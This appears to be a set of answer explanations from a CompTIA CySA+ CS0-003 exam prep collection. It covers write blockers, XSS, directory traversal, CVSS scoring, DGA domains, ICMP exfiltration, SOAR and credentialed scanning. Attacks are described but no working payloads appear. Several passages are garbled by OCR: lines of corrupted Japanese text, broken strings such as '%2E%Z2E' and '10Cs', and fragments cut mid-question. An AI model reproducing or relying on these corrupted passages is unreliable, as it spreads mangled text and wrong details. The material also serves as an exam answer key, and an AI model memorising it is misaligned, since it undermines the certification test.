Why the other options don't match the errors:

* A/ B look like generic module/session execution flags (more like exploitation frameworks), not "fix authentication + wrong region."

* D (--whoami, --data) is identity/data querying; it doesn't correct credential setup or region selection.
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References (CompTIA CySA+ CS0-003 documents / study guides used):
* All-in-One CS0-003: Scout Suite uses cloud provider APls; Prowler requires APl access configuration and supports region selection/exclusion
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In digital forensics, a write blocker is a critical tool used to prevent any modifications to the source drive during imaging. When a forensic image is created, it should be an exact bit-for-bit copy
of the original evidence. If a write blocker is not used, system processes or other unintended changes can alter the contents of the drive, leading to a hash mismatch between the original and
the image copy.

Chain of custody (Option A) ensures proper documentation of who accessed the evidence, but it does not directly affect the hash values.

Legal authorization (Option B) is necessary but unrelated to the technical integrity of the image.

Data integrity verification (Option C) is part of the process, but in this scenario, the failure to maintain integrity stems from the lack of a write blocker.

Thus, the correct answer is D, as using a write blocker would have prevented any unintended changes to the data.
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XSS is a type of web application attack that exploits the vulnerability of a web server or browser to execute malicious scripts or commands on the client-side. XSS attackers inject malicious
code, such as JavaScript, VBScript, HTML, or CSS, into a web page or application that is viewed by other users. The malicious code can then access or manipulate the user's session,
cookies, browser history, or personal information, or perform actions on behalf of the user, such as stealing credentials, redirecting to phishing sites, or installing malware12 The line in the
web server log shows an example of an XSS attack using VBScript. The attacker tried to insert an <IMG> tag with a malicious SRC attribute that contains a VBScript code. The VBScript code
is intended to display a message box with the text "test" when the user views the web page or application. This is a simple and harmless example of XSS, but it could be used to test the
vulnerability of the web server or browser, or to launch more sophisticated and harmful attacks3
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Reverse engineering is the process of analyzing a binary file to understand its structure, functionality, and behavior. It can help to identify the purpose of the binary file, such as whether itis a
malicious program, a legitimate application, or a library. Reverse engineering can involve various techniques, such as disassembling, decompiling, debugging, or extracting strings or
resources from the binary file123. Reverse engineering can also help to find vulnerabilities, backdoors, or hidden features in the binary file
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The correct answer is D because random-looking DNS requests can indicate malware using a domain generation algorithm (DGA) for command-and-control, but the analyst should first
validate the suspicious domains using threat intelligence or reputation sources. The scenario asks what should be done first to determine whether Host X has been compromised, so
enrichment and validation of the domain indicators is the best first step.

Exact supporting extract: the All-in-One CySA+ guide explains that malware may use DGAs for command- and-control exchanges and that high-entropy domains often look like gibberish to
humans. It also warns that DGAs may have legitimate uses in content delivery networks, so additional analysis is needed to reduce false positives.

The same guide defines a DGA as a threat actor technique used to generate domain names rapidly using seemingly random but predictable processes so malware can eventually connect
with command-and-control infrastructure.

Why the other options are incorrect:

A is incorrect because allowing the domains before validation may permit command-and-control or data exfiltration.

B is incorrect because reinstalling the software does not determine whether the DNS domains are malicious or legitimate.

C is incorrect because blocking all outbound connections is a containment action, not the best first investigative step.

D is correct because threat intelligence helps validate whether the suspicious domains are known malicious infrastructure or legitimate generated domains.
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Registry key values would be missing from a scan performed with this configuration, as the scanner appliance would not have access to the Windows Registry of the scanned systems. The
Windows Registry is a database that stores configuration settings and options for the operating system and installed applications. To scan the Registry, the scanner would need to have
credentials to log in to the systems and run a local agent or script.
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The other items would not be missing from the scan, as they can be detected by the scanner appliance without credentials. Operating system version can be identified by analyzing service
banners or fingerprinting techniques. Open ports can be discovered by performing a port scan or sending probes to common ports. IP address can be obtained by resolving the hostname or
using network discovery tools. https://attack.mitre.org

/techniques/T1112/
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Comprehensive and Detailed Step-by-Step Explanation:Directory traversal, also known as path traversal, is an attack that allows attackers to access restricted directories and execute
commands outside the web server's root directory. The %2E encoding corresponds to a dot (.) in ASCII, and %2E%Z2E resolves to ../. The log entries indicate attempts to navigate directories
upward to access sensitive files like /etc/passwd. Since no malicious activity was flagged, it is inferred this was either an unsuccessful or reconnaissance attempt.

References:

CompTIA CySA+ Study Guide (Chapter 3: Malicious Activity, Page 79)

CompTIA CySA+ Objectives (Domain 1.2 - Indicators of Potentially Malicious Activity)
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Attack simulations provide realistic, hands-on scenarios that mirror true incidents, allowing SOC analysts to practice detection, analysis, and response skills under real-world pressure. These
simulations are crucial for developing and reinforcing SOC procedures and incident workflows.
Phishing assessments (A) are targeted, limited training.

OpenVAS (B) is a vulnerability scanner, not a training tool.

SOAR (D) is a response automation tool.

Honeypots (E) help observe attacker behavior, but aren't training-focused.

Reference:

CS0-003 Objectives 3.3 - Incident Response Training

Mya Heath All-in-One - Chapter 14: Post-Incident Activities and Training
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The lessons-learned register is an essential document that captures insights and feedback from past exercises or incidents, highlighting what went well and what did not. By utilizing this
register, the SOC manager can identify specific areas for improvement and develop actionable steps to enhance future response efforts.

According to CompTIA's CySA+ and Security+ guidance, lessons learned from tabletop exercises are crucial for iterative improvements in an incident response plan. Options A, B, and C are
useful resources, but the lessons-learned register specifically focuses on reflection and improvement, which is the primary objective in this context.
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The best practice that the company should follow with this proxy is to decommission the proxy.

Decommissioning the proxy involves removing or disposing of the proxy from the rack and the network, as well as deleting or wiping any data or configuration on the proxy. Decommissioning
the proxy can help eliminate the vulnerability on the proxy, as well as reduce the attack surface, complexity, or cost of maintaining the network. Decommissioning the proxy can also free up
space or resources for other devices or systems that are in use or needed by the company.
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Single Sign-On (SSO) allows users to log in with a single ID and password to access multiple applications. It eliminates the need for different passwords for various internal applications,
streamlining the authentication process.
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Limiting user creation to administrators only would work best to mitigate the attack represented by this snippet. The snippet shows an attempt to exploit a zero-day vulnerability in the
ThemeREX Addons WordPress plugin, which allows remote code execution by invoking arbitrary PHP functions via the REST-API endpoint /wp-json/trx_addons/V2/get/sc_layout. In this
case, the attacker tries to use the wp_insert_user function to create a new administrator account on the WordPress site12. Limiting user creation to administrators only would prevent the
attacker from succeeding, as they would need to provide valid administrator credentials to create a new user. This can be done by using a plugin or a code snippet that restricts user
registration to administrators34. Limiting layout creation to administrators only, setting the directory trx_addons to read only for all users, and setting the directory v2 to read only for all users
are not effective controls to mitigate the attack, as they do not address the core of the vulnerability, which is the lack of input validation and sanitization on the REST-API endpoint. Moreover,
setting directories to read only may affect the functionality of the plugin or the WordPress site56. References: Zero-Day Vulnerability in ThemeREX Addons Now Patched - Wordfence,
Mitigating Zero Day Attacks With a Detection, Prevention ...

- Spiceworks, How to Restrict WordPress User Registration to Specific Email ..., How to Limit WordPress User Registration to Specific Domains, WordPress File Permissions: A Guide to
Securing Your Website, WordPress File Permissions: What is the Ideal Setting?
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A. CVSS: 31/AV: N/AC: L/PR: N/UI: N/S: U/C: H/1: K/A: L

B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L

C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H

D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H
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This answer matches the description of the zero-day threat. The attack vector is network (AV:N), the attack complexity is low (AC:L), no privileges are required (PR:N), no user interaction is
required (UI:N), the scope is unchanged (S:U), the confidentiality and integrity impacts are high (C:H/I:H), and the availability impact is low (A:L). Official References: https://nvd.nist.gov/vuln-
metrics/cvss
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Weaponization is the stage of the Cyber Kill Chain where the attacker creates or modifies a malicious payload to use against a target. In this case, the disgruntled open-source developer has
created a logic bomb that will act as a wiper, which is a type of malware that destroys data on a system. This is an example of weaponization, as the developer has prepared a cyberweapon
to sabotage the code repository.

References: The answer was based on the web search results from Bing, especially the following sources:

Cyber Kill Chain | Lockheed Martin, which states: "In the weaponization step, the adversary creates remote access malware weapon, such as a virus or worm, tailored to one or more
vulnerabilities." The Cyber Kill Chain: The Seven Steps of a Cyberattack - EC-Council, which states: "In the weaponization stage, all of the attacker's preparatory work culminates in the
creation of malware to be used against an identified target." What is the Cyber Kill Chain? Introduction Guide - CrowdStrike, which states: "Weaponization: The attacker creates a malicious
payload that will be delivered to the target."
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Comprehensive Detailed Explanation:To safely analyze malware while avoiding unintended disclosure of company information, it is best to use a local sandbox in a microsegmented
environment. Here's why:

* A. Upload the malware to the VirusTotal website

* Risk: VirusTotal and similar services are public and may share uploaded files with other security vendors, potentially exposing proprietary or sensitive information.

* B. Share the malware with the EDR provider

* Limitation: While EDR providers may offer insight, sharing potentially sensitive malware samples externally still introduces risk of disclosure or data leaks.

* C. Hire an external consultant to perform the analysis

* Cost and Risk: Hiring an external consultant can be costly and may introduce risks related to third-party handling of sensitive data. Although it may provide insights, this is typically not the
most efficient initial response.

* D. Use a local sandbox in a microsegmented environment

* Explanation: A local sandbox provides a secure, isolated environment for malware analysis without exposing sensitive data outside the organization. Microsegmentation enhances security
by further isolating the sandbox from the network, preventing lateral movement if the malware attempts to communicate externally.

References:

NIST SP 800-83: Guide to Malware Incident Prevention and Handling for Desktops and Laptops.

MITRE ATT & CK: Techniques and recommendations for malware analysis in isolated environments.
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USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the
company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also
important, but they are not the first priority in this scenario.

References:

CompTIA CySA+ CS0-003 Certification Study Guide, page 247

What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors" Are there any attack vectors for a printer connected through USB in a Windows environment?,
answer by user

"schroeder”
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Email header analysis is one of the security operations tasks that are ideal for automation. Email header analysis involves checking the email header for various indicators of phishing or
spamming attempts, such as sender address spoofing, mismatched domains, suspicious subject lines, or phishing confidence metrics. Email header analysis can be automated using tools or
scripts that can parse and analyze email headers and take appropriate actions based on predefined rules or thresholds
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A.VM_PRD_DB

B. VM_DEV_DB

C. VM_DEV_Web02

D. VM_PRD_Web01
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To determine the highest priority for remediation, we must compare the configuration of each VM against the three mandatory security requirements:

* No public IPs

* All data secured at rest (Encryption = Yes)

* No insecure ports/protocols (No unencrypted protocols like HTTP/Telnet)

1. Analyze the Compliance of VM_PRD_DB (Option A):

* Asset Type: Production Database (High Value Target).

* I[P Config: public - > FAIL. (A production database should never be directly exposed to the internet; it should reside in a private subnet).

* Encryption: no - > FAIL. (Violates the " data secured at rest " policy).

* Ingress Port: 80 (HTTP) - > FAIL. (Port 80 is cleartext/unencrypted. Using an insecure protocol on a public interface puts data confidentiality at immediate risk).

* Conclusion: This asset violates all three security policies and exposes the organization ' s most critical data (Production DB) to the public internet via an insecure channel.
2. Why the other options are lower priority:

*B.VM_DEV_DB:

* It uses a private IP (Pass) and Port 443 (Secure). It only fails the " Encryption " check. Since it is a Development box and not publicly exposed, the risk is significantly lower.
*C. VM_DEV_Web02:

* It exposes Port 22 (SSH). While exposing SSH to the internet is poor practice, SSH is a secure protocol (encrypted), unlike Port 80. It also has encryption at rest enabled.
*D. VM_PRD_Web01:

* It exposes Port 3389 (RDP). While RDP is a common attack vector (ransomware entry point), the server has " Encryption at rest " enabled (Pass).

* Comparison: While VM_PRD_Web01 is risky due to RDP, VM_PRD_DB s riskier because it involves a Database (higher impact than a web server) communicating over Port 80 (cleartext)
with No Encryption at rest.
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A distributed denial-of-service (DDoS) attack is a type of cyberattack that aims to overwhelm a target's network or server with a large volume of traffic from multiple sources. A common
technique for launching a DDoS attack is to compromise DNS servers, which are responsible for resolving domain names into IP addresses. By flooding DNS servers with malicious requests,
attackers can disrupt the normal functioning of the internet and prevent users from accessing external SaaS resources. Official References: https://www.
eccouncil.org/cybersecurity-exchange/threat-intelligence/cyber-kill-chain-seven-steps-cyberattack/
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ABusiness Impact Analysis (BIA)is the correct document thatidentifies critical servicesand definesRecovery Point Objectives (RPOs)andRecovery Time Objectives (RTOs). It helps
organizations determine the impact of downtime and the maximum tolerable outages for business functions.

* Disaster recovery plan (A)uses the information from the BIA.

* Playbooks (C)are tactical and focus on specific incidents.

* Backup plans (D)support BIA but don 't define RPO/RTO themselves.

Reference:

CompTIA CySA+ Study Guide - Chapple & Seidl, Chapter 9

CySA+ Exam Objectives: Domain 3.0 - Incident Response and Management
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Fuzzing is a process used to test applications by inputting unexpected or random data to see how the application behaves. This method is particularly effective in identifying vulnerabilities
such as buffer overflows, input validation errors, and other anomalies that could cause the application to crash or behave unexpectedly. By using fuzzing, the security team can ensure the
new application is robust and capable of handling unexpected strings with anomalous formats without crashing.
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Beaconing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconing is a
common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware.
Beaconing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconing, as they describe
different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage
service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is
connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data.
However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities,
open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply
consistent requests or blocklisted servers, as it can target any network or system.
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SOAR stands for security orchestration, automation, and response, which is a term that describes a set of tools, technologies, or platforms that can help streamline, standardize, and automate
security operations and incident response processes and tasks. SOAR can help minimize human engagement and aid in process improvement in security operations by reducing manual
work, human errors, response time, or complexity.

SOAR can also help enhance collaboration, coordination, efficiency, or effectiveness of security operations and incident response teams.
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A risk score is a numerical value that represents the potential impact and likelihood of a vulnerability being exploited. It can help to identify the potential loss incurred by an issue and prioritize
remediation efforts accordingly. https://www.comptia.org/training/books/cysa-cs0-003-study-guide
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C). Impossible geo-velocity: This is an event where a single user ' s account is accessed from different geographical locations within a timeframe that is impossible for normal human travel. In
the log, we can see that the user " jdoe " is accessing from the United States and then within a few minutes from Russia, which is practically impossible to achieve without the use of some
form of automated system or if the account credentials are being used by different individuals in different locations.

B). Push phishing: This could also be an indication of push phishing, where the user is tricked into approving a multi-factor authentication request that they did not initiate. This is less clear
from the logs directly, but it could be inferred if the user is receiving MFA requests that they are not initiating and are being approved without their genuine desire to access the resources.
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The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email
address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password
protecting the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental
disclosure or modification.
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A. function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') & & echo "$1 | $a" }

B. B. function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') & & echo "$1 | $b" }
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C. C. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1}').origin.asn.cymru.

com TXT +short }

D. function z() { c=$(geoiplookup$1) & & echo "$1 | $c" }

IEfE: (EfEZRTLET)

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" "{print $1}').origin.asn.cymru.com TXT +short } This function takes an IP address as an argument and performs two DNS
lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hosthame associated with the IP address. The second lookup uses the
origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date.

The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region
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An unintentional insider threat is a type of network security threat that occurs when a legitimate user of the network unknowingly exposes the network to malicious activity, such as opening a
phishing email or a malware-infected attachment from an unknown source. This can compromise the network security and allow attackers to access sensitive data or systems. The other
options are not related to the threat concept of ensuring that all network users only open attachments from known sources.

ReferencesCompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 1: Threat and Vulnerability Management, page 13.What is Network Security | Threats, Best Practices |
Imperva, Network Security Threats and Attacks, Phishing section.Five Ways to Defend Against Network Security Threats, 2. Use Firewalls section.
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* PID 2264 (bash running as root) is suspicious because:
* It has elevated privileges (root user).
* Bash (command-line shell) is running with high CPU usage (14.0%), which is unusual unless actively being used.
* If unauthorized, an attacker could be exfiltrating data via command-line methods like scp, wget, or custom scripts.
Why Not Other Options?
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* B (34218 - Xorg) # Xorg is a display server for GUI; no signs of exfiltration.

* C (34834 - Cinnamon) # Cinnamon is a desktop environment, not a threat.

* D (35963 - xrdp) # xrdp is a remote desktop service, expected behavior.

Reference: CompTIA CySA+ CS0-003, Chapter 6: " Host-Based Security Monitoring, " Section: " Analyzing Suspicious Processes and Privileged Activity. "

BHi: 142

SOC7FTURKMNE ERZHIBRT A ET HMESNETSI—LONGEYDHERALAZENTELLEHMLELE, 7T YR MDRIMNEDFHFATT 5 —LDEZEZRO T DITEILDDITRD
EnTeh,

A. SOAR

B. API

C. XDR

D. REST

EfE: (EfEZRRLET)

Security Orchestration, Automation, and Response (SOAR) can help the SOC analyst reduce the number of alarms by automating the process of removing duplicates and managing security
alerts more efficiently.

SOAR platforms enable security teams to define, prioritize, and standardize response procedures, which helps in reducing the workload and improving the overall efficiency of incident
response by handling repetitive and low-level tasks automatically.
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A vulnerability that is related to a specific adversary campaign, with 10Cs found in the SIEM, should have the highest priority for the mitigation process. This is because it indicates that the
vulnerability is actively being exploited by a known threat actor, and that the organization's security monitoring system has detected signs of compromise. This poses a high risk of data
breach, service disruption, or other adverse impacts.

References: How to Prioritize Vulnerabilities Effectively: Vulnerability Prioritization Explained, Section:

How to prioritize vulnerabilities step by step to avoid drowning in sea of problems; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring,
page 156.
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Audit settings provide visibility into user actions and system events. These are classified asdetective controlsbecause they enable the detection of anomalies, policy violations, or unauthorized
access by generating logs or alerts. They do not prevent actions (Preventive) or reverse harm (Corrective), nor do they provide policy guidance (Directive).

# Reference: CompTIA CySA+ All-in-One by Mya Heath, Chapter 13, "Vulnerability Handling and Response" - Control Types and Functions.

# Objective: 2.5 - Explain the importance of prioritization, remediation, and mitigation of vulnerabilities.
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The correct answers for key factors in the change management process to reduce the impact of system failures are:

D). Identify assets with dependence that could be impacted by the change.

F). Ensure that all assets are properly listed in the inventory management system.

D). Identify assets with dependence that could be impacted by the change: This is crucial in change management because understanding the interdependencies among assets can help
anticipate and mitigate the potential cascading effects of a change. By identifying these dependencies, the organization can plan more effectively for changes and minimize the risk of
unintended consequences that could lead to system failures.

F). Ensure that all assets are properly listed in the inventory management system: Maintaining an accurate and comprehensive inventory of assets is fundamental in change management.
Knowing exactly what assets the organization possesses and their characteristics allows for better planning and impact analysis when changes are made. This ensures that no critical
component is overlooked during the change process, reducing the risk of failures due to incomplete information.

Other Options:

A). Ensure users document system recovery plan prior to deployment: While documenting a system recovery plan is important, it' s more related to disaster recovery and business continuity
planning than directly reducing the impact of system failures due to changes.

B). Perform a full system-level backup following the change: While backups are essential, they are generally a reactive measure to recover from a failure, rather than a proactive measure to
reduce the impact of system failures in the first place.

C). Leverage an audit tool to identify changes that are being made: While using an audit tool is helpful for tracking changes and ensuring compliance, it is not directly linked to reducing the
impact of system failures due to changes.

E). Require diagrams to be completed for all critical systems: While having diagrams of critical systems is useful for understanding and managing them, it is not a direct method for reducing
the impact of system failures due to changes. Diagrams are more about documentation and understanding rather than proactive change management.
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Before taking any action, the SOC analyst should first verify if the Indicators of Compromise (IoC) and Tactics, Techniques, and Procedures (TTPs) reported are relevant to the organization's
environment. This involves checking if the vulnerable application or version is actually in use. As per CompTIA's CySA+ guidelines, relevance verification helps in prioritizing resources and
response actions effectively, ensuring that time is not wasted on threats that do not impact the organization. Options A, B, and D are important subsequent steps if the threat is deemed
relevant.
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The best practice for securing access to sensitive data is to implement multifactor authentication (MFA), which combines multiple factors of authentication to enhance security.
* Option B (Biometrics + Device with a Personalized Code) uses two strong factors:

* Biometrics (something you are)

* A device with a personalized code (something you have)This combination significantly reduces the risk of unauthorized access.

* Option A (Randomized Code) is good but weaker than biometrics because it relies only on something you have.

* Option C (Passphrase) is single-factor authentication, which is susceptible to brute-force attacks.

* Option D (One-time Code + Push Naotification) is useful, but email-based authentication can be vulnerable to phishing and MITM attacks.
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The correct answer is B because the packet capture shows ICMP echo request traffic carrying data in the packet payload. ICMP echo requests are normally used for ping-style connectivity
checks, not for transferring business data. The presence of millions of ICMP packets with payload data, combined with the fact that proprietary information is already appearing on the dark
web, strongly indicates data exfiltration over an alternative protocol, often described as ICMP tunneling or protocol misuse.

The official CompTIA CySA+ CS0-003 objectives place this directly under Security Operations, specifically analyzing indicators of potentially malicious activity and using packet capture tools.
The objectives explicitly include data exfiltration, unexpected outbound communication, packet capture, Wireshark, and tcpdump as relevant skills and tools for determining malicious activity.
Supporting extract from the CySA+ Study Guide: ICMP echo requests are produced by ping, and "Ping communications take place using the Internet Control Message Protocol (ICMP)." This
confirms that the observed Type 8 echo request traffic is ICMP ping-style traffic, not a normal file-transfer or application protocol.

Supporting extract from the Secbay CySA+ guide: "Data Exfiltration: Unauthorized transfer of sensitive data from a system, potentially indicating a data breach or insider threat activity." The
same section also states that

"Unexpected Outbound Communication" can indicate communication with malicious or unauthorized entities.

Why the other options are incorrect:

A is not the best answer because the evidence does not prove an insider or a command-and-control channel.

The packet capture shows ICMP echo requests with data payloads, which points more directly to exfiltration.

C is incorrect because there is no evidence of malware propagation, scans, sweeps, or attempts to infect other systems.

D is incorrect because an ICMP DDoS would normally involve traffic intended to overwhelm a target. Here, the key indicator is data being carried inside ICMP echo request packets, and the
business context is stolen proprietary information on the dark web.

Therefore, the most likely malicious activity is exfiltration over an alternative protocol.
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The most likely reason for this vulnerability is B. The developer did not set proper cross-site scripting protections in the header. Cross-site scripting (XSS) is a type of web application
vulnerability that allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be used to steal cookies, session tokens, credentials, or other sensitive
information, or to perform actions on behalf of the victim1.

One of the common ways to prevent XSS attacks is to set proper HTTP response headers that instruct the browser how to handle the content of the web page. For example, the Content-Type
header can specify the MIME type and character encoding of the web page, which can help the browser avoid interpreting data as code. The X-XSS-Protection header can enable or disable
the browser's built-in XSS filter, which can block or sanitize suspicious scripts. The Content-Security-Policy header can define a whitelist of sources and directives that control what resources
and scripts can be loaded or executed on the web pageZ2.
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According to the output of Arachni, a web application security scanner framework3, it detected an XSS vulnerability in the form input 'txtSearch' with action https://localhost/search.aspx. This
means that Arachni was able to inject a malicious script into the input field and observe its execution in the response. This indicates that the developer did not set proper cross-site scripting
protections in the header of search.aspx, which allowed Arachni to bypass the browser's default security mechanisms and execute arbitrary code on the web page.

B f: 150

MEsEM 7+ UR MIPRTLBEED) R FEZITRY TN oDEBEEZERALEZEEOE D RAANDEEFZTMT ILENHYET REDXR T U FOHKMLE BETETLHDIE3DE
(T ,CVSSBNDERRIATEEERETHE UTDIERELEZEDDLVNIRIIEENTLLEIN?

A. AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:.L - XX 27 6.0

B. AV:N/AC:H/PR:H/UI:N/S:C/C:H/l.L/A.L - R KX 7 7.2

C. AV:N/AC:H/PR:H/UI:R/S:U/C:H/llH/A:H - EXR X7 6.4

D. AV:N/AC:H/PR:N/UI:N/S:C/C:L/l:.L/A.L - ERX 7 6.5

EfE: (EfEZRRLET)

This option represents the least impactful risk because it has the lowest base score among the four options, and it also requires high privileges, user interaction, and high attack complexity to
exploit, which reduces the likelihood of a successful attack.

References: The base scores were calculated using the Common Vulnerability Scoring System Version 3.1 Calculator from FIRST. The explanation was based on the CVSS standards guide
from NVD and the CVSS

3.1 Calculator Online from Calculators Hub.
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A credentialed scan is a type of vulnerability scan that uses valid credentials to log in to the scanned systems and perform a more thorough and accurate assessment of their vulnerabilities. A
credentialed scan can access more information than a non-credentialed scan, such as registry keys, patch levels, configuration settings, and installed applications. A credentialed scan can
also reduce the number of false positives and false negatives, as it can verify the actual state of the system rather than relying on inference or assumptions. The other types of scans are not
related to the issue of incomplete findings, as they refer to different aspects of vulnerability scanning, such as the scope, location, or frequency of the scan. An external scan is a scan that is
performed from outside the network perimeter, usually from the internet. An external scan can reveal how an attacker would see the network and what vulnerabilities are exposed to the public.
An external scan cannot access internal systems or resources that are behind firewalls or other security controls. A differential scan is a scan that compares the results of two scans and
highlights the differences between them. A differential scan can help identify changes in the network environment, such as new vulnerabilities, patched vulnerabilities, or new devices. A
differential scan does not provide a complete list of findings by itself, but rather a summary of changes. A network scan is a scan that focuses on the network layer of the OSI model and
detects vulnerabilities related to network devices, protocols, services, and configurations. A network scan candiscover open ports, misconfigured firewalls, unencrypted traffic, and other
network-related issues. A network scan does not provide information about the application layer or the host layer of the OSI model, such as web applications or operating systems.
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Searching for other mail users who have received the same file is the best activity to perform next, as it helps to identify and contain the scope of the ransomware attack and prevent further
damage. Ransomware is a type of malware that encrypts files on a system and demands payment for their decryption. Ransomware can spread through phishing emails that contain malicious
attachments or links that download the ransomware. By searching for other mail users who have received the same file, the analyst can alert them not to open it, delete it from their inboxes,
and scan their systems for any signs of infection. The other activities are not as urgent or effective as searching for other mail users who have received the same file, as they do not address
the immediate threat of ransomware spreading or affecting more systems. Wiping the computer and reinstalling software may restore the functionality of the affected workstation, but it will
also erase any evidence of the ransomware attack and make recovery of encrypted files impossible. Shutting down the email server and quarantining it from the network may stop the delivery
of more phishing emails, but it will also disrupt normal communication and operations for the organization. Acquiring a bit-level image of the affected workstation may preserve the evidence of
the ransomware attack, but it will not help to stop or remove the ransomware or decrypt the files.
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The correct answer is B. Adversary emulation.

Adversary emulation is a technique that involves mimicking the tactics, techniques, and procedures (TTPs) of a specific threat actor or group to test the effectiveness of the security controls
and incident response capabilities of an organization1. Adversary emulation can help identify and address the gaps and weaknesses in the security posture of an organization, as well as
improve the readiness and skills of the security team.

Adversary emulation can also help measure the dwell time, which is the duration that a threat actor remains undetected inside the network?2.

The other options are not the best techniques to meet the CISO's goals. Vulnerability scanning (A) is a technique that involves scanning the network and systems for known vulnerabilities, but
it does not simulate a real attack or test the incident response capabilities. Passive discovery is a technique that involves collecting information about the network and systems without sending
any packets or probes, but it does not identify or exploit any vulnerabilities or test the security controls. Bug bounty (D) is a program that involves rewarding external researchers or hackers for
finding and reporting vulnerabilities in an organization's systems or applications, but it does not focus on a specific threat actor or group.
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Webhooksenable automatic and event-driven interactions between applications. In the context of code repositories and vulnerability scanning, webhooksautomate the scanning processevery
time new code is committed. Thisensures continuous security coveragewithout relying on manual triggers, thereby embedding security checks into the development lifecycle efficiently. This
automation leads to improved coverage and faster identification of vulnerabilities at the earliest stage possible in the DevSecOps pipeline.

Reference:

Mya Heath,CompTIA CySA+ All-in-One Exam Guide(2024), Chapter 2: "Webhooks are typically automated and allow for real-time data transfer to trigger workflows like vulnerability scans."
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The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time
Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most
accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP
servers and use algorithms to select the best time source and adjust their clocks accordingly1. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs
and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing
of the network23.

References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security
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Dynamic Application Security Testing (DAST) is used to detect vulnerabilities in running applications, including common issues like SQL injection, FRI, XSS, etc. It aligns with the goal of
implementing security by design.
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This is because scanning without admin privileges can limit the scope and accuracy of the vulnerability scan, and potentially miss some critical vulnerabilities that require higher privileges to
detect. According to the OWASP Vulnerability Management Guide1, "scanning without administrative privileges will result in a large number of false negatives and an incomplete scan".
Therefore, the analyst should recommend addressing this issue to ensure potential vulnerabilities are identified.
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Time synchronization is the process of ensuring that all systems in a network have the same accurate time, which is essential for correlating data points from different sources. If the system
has an issue with time synchronization, the analyst may have difficulty matching events that occurred at the same time or in a specific order. Access rights, network segmentation, and invalid
playbook are not directly related to the issue of correlating data points. Verified References: [CompTIA CySA+ CS0-002 Certification Study Guide], page
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The primary purpose of data classification is to determine the value of data to the organization. This helps in defining protection levels, access controls, and risk mitigation strategies.
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Option A (Regulatory compliance requirements) is important but not the primary reason. Compliance is a result of data classification, not its purpose.
Option B (Facilitating DLP rules) is a secondary benefit, but classification is broader and not limited to DLP.

Option C (Prioritizing IT expenses) is unrelated to why organizations classify data.

Thus, D is the correct answer, as classification helps organizations prioritize data protection based on its value.
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Input validation vulnerabilities occur when an application fails to properly validate or sanitize user input, allowing malicious data to be processed. This can lead to various attacks, most notably
cross-site scripting (XSS).

Option A:DNS poisoning

* Incorrect Choice:DNS poisoning involves corrupting the DNS cache to redirect users to malicious sites.

It is not related to input validation vulnerabilities.

Option B:Pharming

* Incorrect Choice:Pharming redirects users from legitimate websites to fraudulent ones, typically through DNS poisoning or host file manipulation. It is not directly related to input validation.
Option C:Phishing

* Incorrect Choice:Phishing involves tricking individuals into providing sensitive information through deceptive emails or websites. It exploits human behavior rather than technical input
validation flaws.

Option D:Cross-site scripting

* Correct Choice:Cross-site scripting (XSS) attacks occur when an application includes untrusted data in a web page without proper validation or escaping. This allows attackers to execute
malicious scripts in users ' browsers, leading to data theft, session hijacking, or defacement. Remediating input validation vulnerabilities is essential to prevent XSS attacks.

Reference:

CompTIA CySA+ CS0-003 Exam Objective 2.4: " Given a scenario, recommend controls to mitigate attacks and software vulnerabilities, " specifically addressing injection flaws like cross-site
scripting.
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Threat modelingis aproactiveapproach used toidentify, analyze, and mitigate potential threatsbefore they impact production systems. It is especially useful in early development stages to
anticipate vulnerabilities and attack paths.

* Option B (Penetration testing)is areactive measureperformed on deployed systems, rather than prior to production.

* Option C (Bug bounty)programs incentivize external researchers but do not proactively model risks before deployment.
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* Option D (SDLC training)improves security awareness but does notactively assess risks.
